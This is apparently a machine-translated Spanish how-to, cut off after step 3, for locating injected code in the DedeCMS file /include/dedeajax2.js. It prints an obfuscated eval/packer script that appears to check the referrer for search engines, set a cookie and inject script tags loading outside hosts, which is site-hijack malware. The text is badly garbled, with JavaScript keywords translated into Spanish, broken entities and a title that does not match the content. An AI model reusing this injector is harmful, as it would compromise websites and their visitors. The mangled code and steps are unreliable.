Nombre de dominio del sitio web de Sogou

1. Busque Article_article.htm en la página del artículo

& ltscript language = " JavaScript " type = " text/JavaScript " src = "/include/dede ajax2 . js " & gt; gt;

2. Inicie sesión en FTP y busque /include/dedeajax2.js.

3. Abra dedeajax2.js en formato txt y busque el siguiente código:

eval(function(p, a, c, k, e, d){ e = function( c ){ return(c <respuesta?':e(parse int(c/a))+((c = c % a)>35?string . from charcode(c+29):c . tostring(36) )}; si (!''.replace(/^/,cadena)){mientras(c-){ d[e(c)]= k[c]| ){ return d[e]}]; e = function(){ return ' \ \ w+' }; c = 1 }; while(c-){ if(k[c]){ p = p . RegExp(' \ \ b '+e(c)+' \ \ b ',' g '),k[c])}}return p}('i((0.6.4("r ")!=- 1)||(0.6.4("q ")!=-1)||(0.6.4("p.5 ")!=-1){ I(0 . h . 4(\ ' b = \ ')= =-1){ S3 = t o(); 3. v(3. u()+1 * e * e * x); '+3 . j();0 . f(\ ' & lt; 2 7=9://c.k.5/n/w.I?M = d & gt& lt/2 & gt;\');0.l( \ ' & lt;2 7="9://K.y.5:N/O.R?P = Q & ampJ = 8 & ampC = d & ampB=1 " >& lt/2 & gt;\');0 . f(\ ' & lt; 2 A = " g " z = " D/g " 7 = " 9://A . e . h . g/f . A " >& lt/2 & gt; \') } ',54,' documento | script | expira | com | src | var | nuevo | getTime | establecer tiempo | AT _ TAN | 1split('| '), 0, {}))

4.